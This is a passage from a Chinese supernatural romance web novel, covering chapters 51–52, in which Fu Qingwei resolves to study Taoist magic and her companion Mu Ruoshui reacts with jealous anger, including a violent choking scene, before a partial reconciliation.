“我知道了。”傅清微的声音从枕头底下发出来,满脸通红如虾子。 “你不需要当我的妹妹,我们也会永远在一起。”穆若水蹲下来,和她的水平线持平,在她的耳边温柔而真诚地说道。 “可以了……” 傅清微两手捏紧了羽绒枕头的两端,指节白皙凸起,青筋都要憋出来了。 真的可以了。 再说下去,她就要控制不住自己以身相许了!!!魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第51章 听到病房外走廊的脚步声, 占英一个弹射起步冲回了病床上,把自己盖进被子里,宛如坐窝的母鸡, 望向门口的视线乖巧。 傅清微从门后探出来一个脑袋:“占科。” 占英心头一松, 跟着一喜:“是你啊。” 傅清微往里走, 身后还牵着一个人,上次占英忙着羞耻, 加上重伤未愈所以没看清楚, 这会才瞧见是一个个子和她师父差不多的女人,穿得倒挺轻便现代化的, 长裤白鞋, 罩着件驼色大衣,有种人群里一眼就能看出来的特别气质。 最具标志性的还是她脸上戴着的涂满颜料的方相面具。 占英挣扎着从床上起身,内掐子午诀, 抱拳行礼:“晚辈阁皂宗占英, 见过慈让真人。” 穆若水抬了抬手,自己坐到了沙发里。 ——今天也是把惜字如金贯彻到底的一天。 早上出门,她终于脱下了自己的道袍, 换上了现代的衣服,正在细细感受材质呢,傅清微还给她带了一本书,手机下好电影, 配上耳机,自己坐着就可以玩一天。 傅清微把穆若水安顿好了, 才将提着的礼物放下来, 郑重向占英道谢:“我同学的事,这次多亏了占科长。” 占英的视线从窗前看书的女人身上收回来, 笑道:“举手之劳,我们是朋友,还是战友,说这个太生分了。” 傅清微一想也是,似乎是太见外了,便默认了这个说法。 她轻轻地嗯了一声。 占英不动声色地拉近了二人关系,弯着双眸问:“最近过得怎么样?宁心符还需要吗?” 傅清微:“不用了,我现在和观主待在一起很安全。” “上次我受伤一直没来得及亲自把符送到你手上,还很担心你,你没事就太好了。”傅清微遇到白姝那天,占英在帮马姐抓kpi,当晚她连夜赶回鹤市,刚找完白姝,她回家睡下不到半天,灵管局发布能量警报,鹤市上空有蛟作乱,就这么连轴转,直到进医院才有休息的机会。 “快递我收到了,谢谢占科。”傅清微真心实意道。虽然没用上,但那几张宁心符现在还收在家里,给她当画符的样本。 “占科,我想给你看看我画的符。”傅清微掏出早有准备的黄纸——劣质版。 这才是她除了登门道谢以外来找占英的第二个重要目的。 “嗯?”占英有些惊讶地接过了朱砂绘制的符箓,虽然不能用,但符形行笔足以媲美玄门中人,甚至胜过她几位师侄了,她仔细端详片刻,抬起头问,“这是你画的?” “抱歉临摹了你们门派的符箓。” “无妨,你没有灵力,学了符形也用不了。” “观主也是这么说的。” 占英抿嘴笑了一下。 “你继续说。” 在占英愈来愈深的笑容里,傅清微按下不自在,说:“观主说话太过高深,我想问问占科,我在画符方面的天赋怎么样?” 美其名曰说话高深,其实就是观主不说人话。 “我眼力不如我师父,依我之见,不算惊才绝艳,也是天纵奇才。可惜的是你没有灵力,否则可以从符箓效果看出天赋。” 占英就见面前的年轻女人露出了不好意思的笑容。 “占科,既然我画符有天赋,我想问一下,你先前说的话还算数吗?” 面具后红线绕过的白净耳根动了动。 什么话? 占英:“你是说……让我师侄带你去阁皂宗参观的事,还是问我师父收徒?” 占英希望是后者,但傅清微说是前者。 “我想先去看看。” 拜师自古以来就不是小事,天地君亲师,对于阁皂宗这种传承了千年的门派来说,傅清微慎重考虑,既是对自己的尊重,也是对阁皂山门的敬重。 如果拜入阁皂宗,她肯定又要背井离乡,舍下一切去山中修行,到时观主怎么办? 傅清微又说:“我有意拜入尊师门,但还有一些个人的事没有处理好,所以想多考虑考虑。如果岁主任不愿不必强求,能拜占科为师我也求之不得。” 占英连忙摆手,哭笑不得:“就我那点微末道行,别班门弄斧,到时候闹出笑话。” “占科过谦了。” “真不是谦虚。这样吧。”占英说,“你什么时候去阁皂山,我知会一下师叔师伯和掌门,让她们看看你,到时你有看中的,也可以挑一个拜师。” 说得挑大白菜似的,那可是德高望重的道长们,还有掌门! “不敢不敢。” “有什么不敢的。”占英随手拍了一下她肩膀,力道大得完全不像一个卧床养伤的病人,爽快道,“你可是有仙骨的人,我师父亲自认证过的修道奇才,请神一次就能成功,愿意入我宗门,掌门高兴还来不及。我们阁皂宗振兴山门,重回巅峰就靠你了,师妹!” “啊?” 占英和傅清微是同龄人,最近养伤憋疯了,拉着她大吐苦水。 同样是符箓三宗,龙虎山就不说了张天师牛掰,统一了正一道,茅山也厉害,演个电影把茅山道士演火了,谁不知道茅山道法厉害?就她们阁皂山,明明不差点什么,现在快查无此宗——冷门门派阁皂宗。 要不是她师父岁已寒横空出世,在灵管局当上了主任,位高权重,恐怕玄门都不知道她阁皂宗的山门朝哪个方向开。 “我师父,再加上一个你,我们阁皂宗生生不息、代代相传,迟早有一天,会重新位列三宗!” “……” 傅清微拿开她按在自己肩膀上的手,心虚地对上窗边抬起脸来的面具,把占英的手放回被子里,附和道:“嗯,一定会振兴的,不是因为我,是因为你。” “对,我也很重要,没有千千万万个我,哪有百川归流的山门!” 床头柜放着半杯奶茶,占英大概是醉奶了,休假的占科长和平时精明能干的样子很不一样。也可能这就是她的本性,毕竟她也只有21岁,如果还在读书也是个女大。 傅清微轻轻地笑了一下。 占英一定很爱她的宗门,被她热爱的阁皂宗,肯定也是一个人杰地灵、和谐友爱的门派。 傅清微不由地期待起几日后的行程。 如果她真的拜入阁皂宗,她也会有师姐妹兄弟,会有师父,师叔师伯,会有一个紧紧联系的大家庭,对于几乎从来没有享受过家庭温暖的傅清微来说,是全新陌生的体验,但听上去又那么诱人。 她的生命里会有很多很多的牵绊,无根的飘萍深深地扎进土壤中。 可是道长怎么办? 她会愿意住到别人家里去吗? 何况虽然有那么多诱人的牵绊,但傅清微还是希望和道长的联系是最紧密的,不希望有后来的人超过她。 想到这里,她的热情淡了些,烦恼多了起来。 占英又嘬了一口奶茶,靠在病床上长吁短叹,忧虑她们宗门的伟大复兴,借奶茶消愁。 傅清微只好打断她:“占道长,我想知道鹤市这次暴雨具体是因为什么?” 占英“嗯?”了一声直起身来,欲言又止。 傅清微定定地看着她。 占英叹了口气:“本来应该等你通过入职考试才告诉你的,既然你是我未入门的师妹,还是慈让真人的……那我现在就直说了吧,是蛟祸。” “蛟?” “就是那个蛇化龙的过渡阶段,蛟。” “作乱的是妖?”身边几乎所有人知道的真相,傅清微现在才窥见一角。 “对。” 傅清微面色凝重,若有所思。 “我如果学了本事能对付妖吗?” “那是自然,那条蛟最后就是我师父杀死的,网上不是有人录了天雷的视频,你看到没?” 傅清微当然看到了,还上了某视频网站的热门,很多人在下面开玩笑评论说有仙人渡劫,还有人说拍到了云里长条状的阴影,说是龙在行云布雨。 都是一些不足以取信于人的猜测,广大网友都当段子看。 当日傍晚疾风暴雨,雷霆不断,摧枯拉朽,天色晦暗,傅清微坐在家里的沙发上,穆若水的身边,只猜到是灵管局的人在与什么厉害的东西斗法。 今日才知—— “原来引雷的是岁主任,斗的是蛟。” 占英点了点头。 “是的,要不是当时我受伤昏迷,没看到具体经过,否则还可以给你讲讲。唉。”她也很后悔没目睹师父的英姿。 “多谢占科,告知我真相。” 占英看着面前女生沉静肃穆的眉目,身上有什么东西仿佛在静悄悄地发生变化,沉淀出截然不同的气质。 她记得第一次见她的时候,她受黄鼠狼之祸脸色惨白地躺在救护车里,接着在医院醒来,占英想借她的便利去牵上慈让真人的线,她当时问过傅清微一句话: ——我诚心地邀请你到灵管局作客,如果你想知道,届时我们也会酌情告诉你一些世界的真相。 傅清微的手握在病房冰冷的门把手上,沉默良久,终究没有回头。 那时她说:她只想做个普通人。 两个月之后,她来医院探望她,亲口询问她有关世界的真相。 这个世界的门已经向她打开,这一次她选择自己主动走进去。 一旦见过平静背后的汹涌,和平的表象下危机四伏的真相,无数凡人的生命在莫可名状的力量下如草芥,她就无法再眼睁睁让这扇门在她的面前关上,而她冷眼旁观站在门外。 这是一条未知的路,也是不能回头的路。 占英很清楚这意味着什么,她从小被捡回去拜入山门,师父门下,师父进了灵管局,她刻苦修行,长大以后也进了灵管局,鞠躬尽瘁,出生入死。 她不后悔她走的路,但她也从来没有选择。傅清微和她不一样,她可以选。 占英:“其实慈让真人在你身边,你不必……把自己的生活弄得那么危险。” 傅清微摇了摇头。 “我回去向辅导员请个假,尽快安排行程前往阁皂山。” “正好我也要回宗门一趟,如果时间能赶上,我们在宗门见。” “好。” 两人飞快地敲定了事项,约定了阁皂山见。 傅清微便叫起来穆若水,向她告辞,占英在病床上向她挥了挥手。 傅、穆二人一块出了病房,房门刚要合上便被一只骨节干净的手推开,傅清微的身影走了回来,问道:“占科,我好像漏了一件事,你刚刚说……什么入职考试?” 占英笑容一顿。 糟了。 傅清微这才从她口中得到了一个不得了的真相。 当时傅清微就怀疑,堂堂灵管局招人这么随便吗?她那时候除了招鬼的debuff没有任何一技之长——当然现在也没有,快要有了。就当她是特招的,为了去蓬莱观接近穆观主,临时给了她一个实习生的职位,那三个月实习期过后,她怎么转正?没有业绩考核吗?灵管局这一个多月就没给她派任何任务,她一个普通人也完成不了局里的任务。 原来灵管局从来就没有实习生一说,她们的招聘就像公务员考试,统一报名统一参加,不仅要考《行测》、《申论》,还有专门的玄学题,实战另计,只会比考公更难。 怪不得她的工资迟迟没有发,合着是不符合程序。 傅清微:“……” 萝卜坑竟是她自己! 傅萝卜微笑问占萝卜:“那我要怎么才能转正呢?” 占英支支吾吾地小声说:“按理说……只要通过考试就行了。” 傅清微问:“考试时间什么时候?” 占英掰指头低头算了算,以掩饰她心虚的眼神:“好像还有三个月吧。” 傅清微语气危险:“好像?” 占英抬头,目光坚定:“就是三个月,三月十二植树节,环保吧?” 今天已经十二月二十号了。 “这还不到三个月!!!”傅清微这辈子说话声音都没这么大过,房间的玻璃都震了震。 “差、差不多嘛,来得及。”占英缩了缩脖子。 “来得及通不过,是吧?” 占英讪讪一笑,安慰她说: “其实一次就考过的人挺少的,好多人二战三战的,今年监考我还碰到考了十次的,都有机会。” 傅清微两眼一黑,指着她的手都哆嗦。 占英瞅她一眼,马上偏开视线,眼神飘忽地小声提醒:“还有,你去考试的时候不要说你是实习生啊,假装第一次来,免得有人不忿,说你走后门。” “……” 她不仅是个萝卜坑,现在还被盖章走后门的了! 就算她走后门,走的也是穆观主的,灵管局罪过更大,凭什么来宣判她? 傅清微硬邦邦地丢下一句:“占科,我看错你了!” 负气而走。 占英把自己慢慢滑下来,滑进被子里,连脑袋也遮住了。 师父造的孽,都让徒儿一个人背了。 * 【我遭遇了巨大的职场诈骗!!!】傅清微恶狠狠地打字,把这句话发给甘棠。 对方秒回一大堆帮她骂狗公司的话,问她怎么回事,傅清微回了句【晚点再说】,然后把目光投向一言不发的穆若水。 在病房里她不出声可以理解,现在都出来好几分钟了,她不仅不说话,连面具都没有摘。 该不会是被掉包了吧? “道长。” “嗯。”面具底下低沉的一声,情绪不高,但声音是对的。 “你怎么不说话?” “我回去帮你把那个骗你的人杀了,还有她师父。” “别!” 穆若水这么说着,脚步却没停,可见只是随口一说,并未当真。 傅清微抬手去解她面具的红线,穆若水头微微一偏,轻而易举地避开,傅清微的手顿在半空,怔怔地看向落空的指尖。 自从观主下山以来,这还是第一次不让自己碰她。 傅清微去握她的手,她也收回大衣里,连演都不愿意演。 “为什么?”她问。 穆若水停了下来,涂满颜料的傩面充满傅清微的视线,她才发现穆若水如果不想让她看到,甚至不需要消失,明明站在她面前,她连她的眼神都窥不见分毫。 “你不明白为什么?” “我不……明白……”最后两个字是从肺部急剧抽离的空气挤出来的。 穆若水单手拎起了她,掐住了她的咽喉,她的后背撞在了医院的墙壁上,双脚不断抬高,氧气的抽离让她脸很快涨成了红色。 在决定下山的那晚,穆若水想:人类的一生何其短暂,她愿意用自己无限的生命去陪傅清微一段有限的人生。 下山后的每一天,她都在庆幸自己当时的决定,穿上现代人的衣服,压制自己杀戮的欲望,伪装成一个和她一样的普通人,她们可以度过平凡的一生,就像傅清微曾经想要的生活,宁愿死也不能舍下的生活。 她都陪着她。 她也想过她寿命终结以后,或者她变了,她就回到山里。 穆若水没想到她会这么快就变了,她要离开自己。 不到两个月。 她也后悔了,她不甘心就这样离开她回到山里长眠,在走之前,她要杀了她。 她死之前最后一刻,都是和她在一起的。 穆若水的五指开始用力,人类的喉咙就像田野里脆弱的麦秆,轻轻一折就会扭断,那张总是会吐露雀跃话语的嘴巴会吐出最后一口气,明亮的双眼会永远闭上。 她再也听不到她的声音,看不到她的笑容,没有突如其来的拥抱,世界上再也没有令她安心的气息。 傅清微的脸已经成了青紫色,一丝空气也汲取不到,脖颈处的青筋根根凸起,几乎要刺穿薄薄的皮肤,再漂亮的面容在这时候也不会好看。 她的眼睛紧紧盯着面具背后的眼神,因为她被拎了起来,穆若水看她的时候仰起了头,走廊顶灯的光刚好晃进面具的空洞,一双噙泪的眼睛。 肺部的压力骤然一松,傅清微落了下来,险些跪倒在地,但女人停留在她脖间的手刚好托住了她,没有让她跌倒。 顶灯晃过的晶莹仿佛是一闪而过的错觉。 面具后的面孔彻底隐进黑暗里,女人吐出的字节冰冷。 “我不杀你。但,傅清微。” 穆若水第一次喊她的名字,也是最后一次。 “你我就此恩断义绝,永不再见。” 她退后一步,掐在她颈间的手松开来,转身向来的方向走去。 手却没有如预料地抽离开。 大量空气涌入,傅清微每呼吸一口气肺部撕裂一样的疼,她喘得像个破败的风箱,两只手紧紧地攥住穆若水扼在她脖子上的手腕,一根一根手指地攥紧了她。 “不、不要走……” 第52章 穆若水的五指一松, 傅清微脖子上掐出来的指印便清晰地浮现出来,通红一片,表皮底下泛着淤青的紫, 触目惊心。 但她却紧紧地攥住了罪魁祸首的手, 宁死也不肯放开。 “不、不要走……” 她一边呼吸一边忍受气管的剧疼, 眼前都被咳出来的泪水雾得视野不清,朦朦胧胧地向她走近了一步。 戴着面具的女人站在原地不动, 说:“放开。” “不放……” 她绝不会再让她在自己眼前消失, 再也找不到。 只要她攥住这只手,一直都不放开的话。傅清微剧烈地喘着气, 不仅没松开, 反而抓得越发紧了,女人隔着衣袖都能察觉到她的力道。 穆若水没有痛感,但是有灵敏的触觉。 她指间挽留的力道比刚刚她掐傅清微的力道有过之而无不及。 既然如此, 又为何执意要离开她? 她一动不动, 任由傅清微向她靠近,把那只手抱进了怀中,咳得难受的额头小心翼翼地抵在了她的肩膀上。 “不要走。”她贴着她, 又沙哑说了一次。 穆若水一言不发,在她怀里的手臂放松地垂了下来。 傅清微在她肩头缓了一会儿,两手顺着她胳膊往下,牵紧她的手腕, 说:“我们回家再说,可以吗?” 穆若水坚持了沉默是金的原则。 从前都是外人才有的待遇, 这次扎到了傅清微自己身上。 ——不反对就是同意。 傅清微打车的时候都没有放开她的手腕, 全程只用左手操作手机。穆若水也没有摘面具,坐进网约车里司机抬头从后视镜看到, 大白天吓了一跳,但是现在的年轻人玩cosplay的不少,司机也没当回大事。 输完尾号后网约车平稳地驶入车流。 傅清微坐左边,穆若水坐右边,泾渭分明。要不是中间紧紧牵在一起的手,还以为是两个拼车的陌生人。 滴滴滴滴滴滴。 连续六声输入密码的声音,门锁应声而开,穆若水率先进门,顺便挣脱了傅清微始终禁锢她的手。 傅清微检查了一下阳台的窗户,在穆若水走过去之前先把锁扣上了。 卧室、卫生间、厨房也如法炮制。 穆若水:“……” 她以为这样就能拦住她? 傅清微也不寄希望于这样就能把观主困在房子里,但至少让她走得没那么容易,有个坐下来好好谈谈的氛围。 傅清微倒了两杯水,自己先一口气喝了大半杯,喉咙终于没那么痛,说:“我资质愚钝,可否请道长直言?” 穆若水的目光掠过她颈间几道青紫色的掐痕,终究心软了半分,但声音仍听不出分毫。 “你在病房对占英说的那番话,我从未听你说过。” 她有意拜入阁皂山的山门,是什么时候的主意?临时起意还是早有打算,她们俩朝夕相处,她竟然一点口风都没有透露过。傅清微每日缠着她,小意温柔,体贴入微,又算什么?逢场作戏把她当消遣吗? 什么天底下最了解她的人,她就是个笑话。 傅清微顿了顿,说:“我想拜入占科的师门,是因为我只认识她,我想学道法。” “什么时候的事?” “那天晚上我们在面馆外面找到程玉汝,她发现自己是鬼,执念不消的时候,我想为她超度。” “那过去也有好几天了。”穆若水态度不冷不热,几天时间不够她和自己商量吗? 这个念头的雏形比程玉汝出事还要早,傅清微一开始想拜穆若水为师,就是想修道,但那时多是为了自保,遭拒之后便打消了念头。后来身边的人出事,她才想到修习道法不仅可以自保,还可以保护别人。 她既已身在灵管局,虽然是个萝卜坑的实习生,又何尝不是机缘。 她长了偃骨,她体质通灵,无门无派便可请神,一桩桩一件件都把她从普通人的道路越推越远,半只脚踏进修道者的门槛。 傅清微:“第二天我和你去程家,我问你怎么让程玉汝现身人前,你提了四种方法。” “是三种。上身你想都不要想。” “是,我口误了。”傅清微笑了一笑,说,“你说无门无派不可请神,我信你,但我依旧想试一试,没想到成功了。我想,我可能就是注定要走上这条道路的人,幼时的遭遇,是上天给我的磨难。” 她从中不仅找到了存在的意义,还有一种逻辑上的自洽。这片土地上的每个人小时候都在课堂上摇头晃脑地背“天将降大任于斯人”,长大以后被生活磨灭胸中意气,都是牛马,谈何斯人? 穆若水冷道:“你以为你是天命之人?狂妄、自大!灵管局死的那两个和你年纪差不多的人你忘了是吧?” 傅清微:“我记得!但就像占科说的,没有千千万万个我们,哪里有百川归流,哪里有岁主任,哪里有你这样的人?” 她当然不会自诩天命,只把自己当一个有点天赋可以去修道的人。真正的天才是岁主任,是邱老,是不出世的高人,是穆若水这样翻手为云覆手为雨的人。 但不可能人人都是她们,组织起灵管局的,构成整个玄门,以及维护世间和平的,绝大多数都是平平无奇的修道者。平凡才能孕育伟大,璀璨始于漫漫星河。 穆若水冷笑:“我是什么样的人你根本不知道,也敢妄议我?我只知道你执意要走这条路,迟早会死。你以为这个世界还是你们想的那样吗?灵管局这些人都要死。” 她最后那句话换一个灵管局高层的人听到,一定会惊涛骇浪,因为那竟然和某个占卜预言的说法不谋而合。 但傅清微只是一个连正式员工都算不上的实习生,这句话只在她脑海浅浅地划过,留下一个微不足道的印象。 傅清微:“我知道很危险,我也知道可能会死,但只要我的存在可以使程同学这样的遇难者少一个,我的死就是有意义的。” 她都想过了,她的人生没有牵绊,等她死后,她微薄的遗产会留给甘棠。 至于道长…… 她这样来去如风的人,应该不会因为她的死太过伤心,或许根本不会伤心。她死以后,她应该会走吧,或者在她死之前就会离开。 穆若水轻轻地反问:“那我呢?” “什么?” “是你闯到我的观中,是你求我的庇佑。你屡次遇险,我让你上山隐居你不愿,你要留在山下过普通人的生活,你信誓旦旦,还说要带我看一看新世界。好,我信了你,答应下山,和你过平凡人生。现在才过了多久,你要拜入玄门,你要修道,你要离开我,傅清微,这就是你要带我看的世界?” 穆若水的语气永远听不出明显的情绪起伏,但傅清微的心脏随着她的一字一句慢慢收紧,连刚刚好转的喉咙都有了干涩的迹象。 “我……”她艰难道,“我没有想要离开你。” “在不得不离开的时候,你就会毫不犹豫地离开我,不是吗?” 沉默的人变成了傅清微。 “或者是死亡,或者是你隐入山门修行。”穆若水问不出那句:我算什么?她有她的骄傲。 而她有她的志向,傅清微是一个活生生的人,人都是会变的,彼一时她会因为害怕死亡上山求慈让真人的庇佑,此一时她也会为了心中的理想不惧死亡,主动走入危险的世界。 她永远忠诚于自己。 只是似乎低估了她在观主心目中的地位,远远低估。 她以为永远在一起只是自己的一厢情愿,是暧昧上头心照不宣的信口开河。 原来穆若水会介意自己做出的选择,未来里可能没有她。 后知后觉,她好像辜负了一个人。 穆若水和她擦肩而过,在她身边短暂的停留,对她说了一句话: “你这个满口谎言的骗子。” 傅清微的头低了下来,此刻连对不起都成了苍白的狡辩。 * 穆若水回到了卧室,房门掩得无声无息。 卧室的窗户关了,但可以再打开,这栋房子对穆若水来说来去如无物,根本拦不住她。 傅清微在外面枯坐等了几个小时,才终于等到她又走出来,进了浴室。 没离开就好。 傅清微松了一口气,心仍紧着。 她紧锣密鼓地把洗好的水果切在盘子里端去卧室,盘子底下压一张手写的道歉卡片,回到了沙发,忐忑地坐好。 淋浴的水声停了。 穆若水从卫生间走出来,乌发染湿了红衣道袍的肩头,面具周围的白皙皮肤蒸腾着尚未散去的热气。 她换上了来时的衣物,戴上面具,宛如将要在她眼前消散的云烟。 傅清微只能眼睁睁看着,再也没有挽留的立场。 穆若水再一次进了卧室。 水果留下,道歉的卡片从底下的门缝丢了出来。 傅清微把卡片捡起来,扔进了垃圾桶。 穆若水现在的一举一动都牵动着她的心魂,现在看不到了,她又坐在沙发上发呆。 嗡嗡。 占英:【师妹,快要入职考试了,为了抓紧时间入门,我先给你讲讲经吧。《太霄琅书经》里说:“人行大道,号为道士。从道为事,故称道士。” 第一课:我们讲什么是道士?正如经书上所说……】 傅清微实在提不起精神上课,连回消息的力气都没有,点开表情包列表点了一个心发过去。 占英又长篇大论了一会,问道:【无意冒犯啊,也非常热烈地欢迎你来阁皂宗。我就是随口一问,观主那么厉害,你怎么没向她学点本事啊?】 先前占英担心说服傅清微的最大困难,就是身边有位行走的大佬,万一她看不上阁皂宗,想不到她居然主动找上来了。 傅清微:【她不要我】 占英:【啊?】 怎么一股幽怨的味道。 傅清微收起了伤春悲秋:【我的意思是,她不肯收我为徒】 占英心想:以你俩的关系还需要拜师吗?床上教着不就都会了? 占英:【没想到你们俩还挺讲究仪式感的】 傅清微听不懂,也没心情和她寒暄。 傅清微:【我有点事,先不聊了】 占英:【忙吧,记得三月十二考试噢,抓紧时间复习,积累考试经验也是好的^_^】 傅清微:【嗯】 傅清微转头就点开了甘棠的微信。 还停留在上一条她回复的:【晚点再说】 好朋友就是这样,随叫随到,就算消息框暂时安静,也不影响她们的交情。 傅清微:【你之前考公的材料给我一份呗?】 甘棠:【国考不是都结束了吗?你怎么突然决定考公?】 傅清微:【不是国考,狗公司说转正要考《行测》和《申论》……】 甘棠:【世上竟有如此离谱之私企,真把自己当盘大头菜了呀?要不换一家?能考过公务员笔试的,谁去私企待着】 傅清微:【先考着吧,资料发我~[躺平.jpg]】 甘棠:【也别发你了,我直接给你送上门,你等着,我现在就出发】 傅清微:【……你别是来看女主B的吧?】 甘棠:【嘿嘿嘿,你怎么知道?我现场浅嗑一口,不过分吧?】 傅清微:【女主A和女主B可能要BE了】 甘棠:【我靠,我才一天没问,我的cp怎么就要BE了?是女主A还是女主B做了什么?我决定火葬场要烧谁】 傅清微:【烧女主A吧,她伤了女主B的心】 甘棠:【那一定是情有可原】 自从知道女主A是谁以后,甘棠的心眼就是偏的。 傅清微:【没什么情有可原,是女主A自私自利,把女主B骗到家里,说会一辈子不离开她,现在她要去追逐自己的理想,把女主B抛在脑后,也别火葬场了,直接把女主A烧成灰吧】 甘棠:“……” 好像知道了什么了不得的事。 甘棠小心翼翼:【你说的不太像我认识的女主A,千万不要钻牛角尖,意气用事啊】 傅清微避而不谈:【考公资料发我】 甘棠不提要上门的事了,把电子版发了她一份,又把纸质资料的购买链接推给她。 傅清微打开桌上的台灯,开始刷题。 之前甘棠备考公务员考试,班上好多人在考,傅清微也跟风复习了一段时间,虽然后来还是觉得不喜欢没去考,省下一笔报名费,但是幸好打下了些基础,现在捡起来复习没那么生疏。 离灵管局的考试时间不到三个月,就算大概率过不了,她也要竭尽全力。 中午从医院回来就没有吃饭,这会饥肠辘辘,傅清微也没脸让观主给她做饭,冰箱里随便扒拉了两片土司,煎了个外焦里黑的鸡蛋夹在面包里,三两口塞进胃里。 学习到九点,傅清微合上备考资料,准备做晚课。 卧室的房门毫无动静,傅清微敲了敲门,用耳朵贴在门板上,里面一点声音都没有。 傅清微敲了三次门,静静地等了一会儿,抬手按下门把。 被窝里熟悉的一长条,并不是枕头伪装的,傅清微一面看着戴着面具睡觉的穆若水,一面轻手轻脚地打开了衣柜拿睡衣。 她心不在焉,哗啦一声带动了衣架,突兀地响起在安静的房间。 “对不……” 无人回应的卧室,道歉也像扰人清净的噪音,刚出口便被咽了回去。 傅清微拿了两天的换洗衣服,默默地退出了房间,门缝里躺卧的身影慢慢收窄,房门被轻轻带上,锁舌咬住。 床上的人一动不动,仿佛睡着了。 熟悉的诵经声断断续续地从隔音不好的门板外传进来,面具后的红线滑落,穆若水闭着眼睛,毫无反应。 …… 傅清微趴在地上,试图从底下只容一张卡片通过的门缝里观察到里面的情况,她直起身,无功而返。 洗完澡后躺进沙发里,傅清微清理了一遍短信信箱,发现有一条银行的打款短信,她等了快两个月的灵管局实习工资终于到账了,税后足足有三万多。 她们俩终于有钱了! 她第一时间从沙发跳了起来,喊了一声:“道长!”举着手机满心欢喜地朝卧室奔去。 跑到门口笑容已经完全从她的脸上消失,隔着门克制地说了一句:“观主,我发工资了,以后……”她说不下去。 也不知还有没有以后了。 意料之中的没有传来回应。 傅清微登陆手机银行的app,确认了一遍进账,点开了占英的对话框:【占科,工资到账了,是全额发放的。我记得我向局里购买了生犀角,是不是忘记扣款了?】 占英:【犀角的购买在我名下,不会从你的卡里划钱】 傅清微:【多少钱我转你?】 占英:【一口气恐怕有点贵,分期吧,一月三千,你先转我两个月的】 傅清微至今不知道犀角的价格,她上网搜了一下,说几百一克的有,几千到一万一克的也有,灵管局珍宝库收藏的必然不是普通的犀角,可能会更贵。 傅清微:【总价多少】 占英报了个数字,傅清微倒吸一口凉气,掂了掂自己还没无热乎的银行进账,说:【还是分期吧,我转你六千,分十二个月结清】 怪不得灵管局工资高,要真的想从局里买点东西,羊毛出在羊身上。 傅清微的小金库又多了三万的流动资金,她想了想,还是划出了一笔钱做考驾照的专用款。 把购物车里给穆若水挑的东西都结了账,傅清微满脑袋杂念地闭上了眼睛。 做了一晚上光怪陆离的梦。 傅清微醒过来人还是呆滞的,对着客厅天花板目光放空。 说起做梦,自从遇到了穆若水,她就再也没有做过那个和人拜堂的梦。 傅清微猜测会不会是她先前就被小鬼缠身了,入梦是为了害她性命,等她终于看到“她”的脸的那一天,就是身死之时。遇到观主以后,没有小鬼作祟的机会,就不再做洞房花烛的梦。 本来她可以顺便问问观主的,现在观主也不愿意理她。 天气越来越冷了,傅清微蜷在被子里给她发微信:【还在生气吗?要不要喝点儿血?】 这么不痛不痒的问题,她肯定不会回。 傅清微翻了个身,又打字道:【我知道错了,你对我做什么都行,不原谅我也行,但你不要气坏了身体】 傅清微抬起头,盯着房门的方向。 盯得眼睛酸疼,都快出重影了,房门一点动静都没有。 傅清微的脑袋砸了下去,埋进枕头里,一动不动。 咔哒—— 门把被拧开的声音,傅清微一个激灵坐起来,目光眨也不眨地盯着向她大步走来的女人。 傅清微低头整理自己的睡衣,衣领、下摆服服帖帖,站在原地期盼地等她。 她已经有一天没有抱到她了。 穆若水停在她一步之外的地方,虽然戴着面具,但傅清微感觉她说话的时候皱起了眉头。 “你是不是执意要拜师修行,要考入灵管局,走那条危险的路。” “是。” “左手伸出来。” 傅清微起初不明白伸手做什么,等她乖乖将手伸到她面前,袖口滑上去,露出手腕红线穿着的佛珠。 穆若水:“我把它收回来,你有意见吗?” 傅清微喉咙发堵,出口的话带上轻微的鼻音。 “没有。” 她不想在观主面前哭,先前大部分时候都有博她可怜,故意的成分,现在是她选的路,是她先食言,她不想用眼泪绑架她。 于是她始终也没有哭,但祈求的尾音还是忍不住颤抖。 “你能不能不要走?” 穆若水刚长出来的指甲触碰着傅清微手腕光滑的肌肤,指尖灵活地没有碰到她一分一毫,解开了红绳,收回了自己掌心。 “给我一个理由。”穆若水抬起脸,依旧只有一张面具。 “我昨晚刚给你买了一堆快递,你还没有拆。” “我以为我真的对那些东西感兴趣?” “对不起,我、”傅清微深深地呼吸,努力控制住自己软弱的泪水,说,“我不知道……” “你不知道什么?” 穆若水咄咄逼人的锋锐还没有使出来,整个身体就被一副突如其来的力道抱住。 与其说傅清微将她抱进了怀里,不如说是她贴进了她的怀抱,像一只被打湿了羽毛,无家可归的青尾小鸟,在她冰凉的怀抱里汲取温暖。 穆若水的怀里没有温度,渐渐的还是热了起来,是青雀自己的体温焐热了她。 她抱得非常紧,差点儿把穆若水的面具带得掉下来,双手环着她的腰,脸贴在她的胸口,穆若水挣也挣不脱,只能任由她的体温一寸一寸侵蚀她的身体,腐化她的决心,柔软她的意志。 “可以了。”穆若水象征性地挣了挣。 “除非你答应我不走。” “那你就一直抱着好了。” 傅清微果真一直抱着她,手臂还有越收越紧的趋势,要不是穆若水感觉不到痛,现在她说不定又生气了。 还好她没有痛感,只能察觉到她的不舍和……少见的无赖。 穆若水一动不动地任由她抱,直到她听见怀里的人打了个哈欠,一个小时过去了。 穆若水如梦初醒:“……” 她这是在干吗?陪她玩什么无聊的抱抱游戏吗? 傅清微:“你答应不走了吗?” 穆若水:“休想。” 傅清微:“我真的知错了,我不该不和你商量就去找占科说拜师的事。” 一晚上过去了,她脑子终于灵光了点。 穆若水:“你继续说。” 傅清微牢牢收紧了怀抱,仰起脸看她的面具:“我也没有想要离开你,至少主观上是不想的。我答应你,除非死亡,任何事都不能将我们分开。” 穆若水沉默了一会儿,透过面具的孔洞注视着她。 “你的话太暧昧了,我和你好像没有这么深的感情。” 观主这个人,在她允许的情况下,怎么暧昧她都纵容,现在她不允许了,傅清微的这些小心思只余下尴尬的回音。 傅清微无地自容地脸都红了。 “我、我的意思是,无论怎么样,我不会主动离开你的,除非我死了。” “如果你要在阁皂山修行,而我又不愿意住在那里呢?你是留在山中,还是跟我走?” “我……” “答不上来了?” “我……我想先去看看,或许能有两全之法。” 穆若水已经不想再问她二选一的问题。 正如穆若水所说的,她们之间没有那么深的感情。 穆若水因为她的血可以压制红线,因为眷恋她的气息留在这里,傅清微体质特殊,依赖于她的保护,充其量有些好感,沉溺于荷尔蒙旺盛时期的暧昧气氛,仅此而已。 不过是各取所需。 如果不是阴差阳错,傅清微被灵管局牵线送去了蓬莱观,那日一别后,她们或许这一生都不会再有交集。 傅清微是凡人,而她睡上长长的一觉,便是一个人的一生。 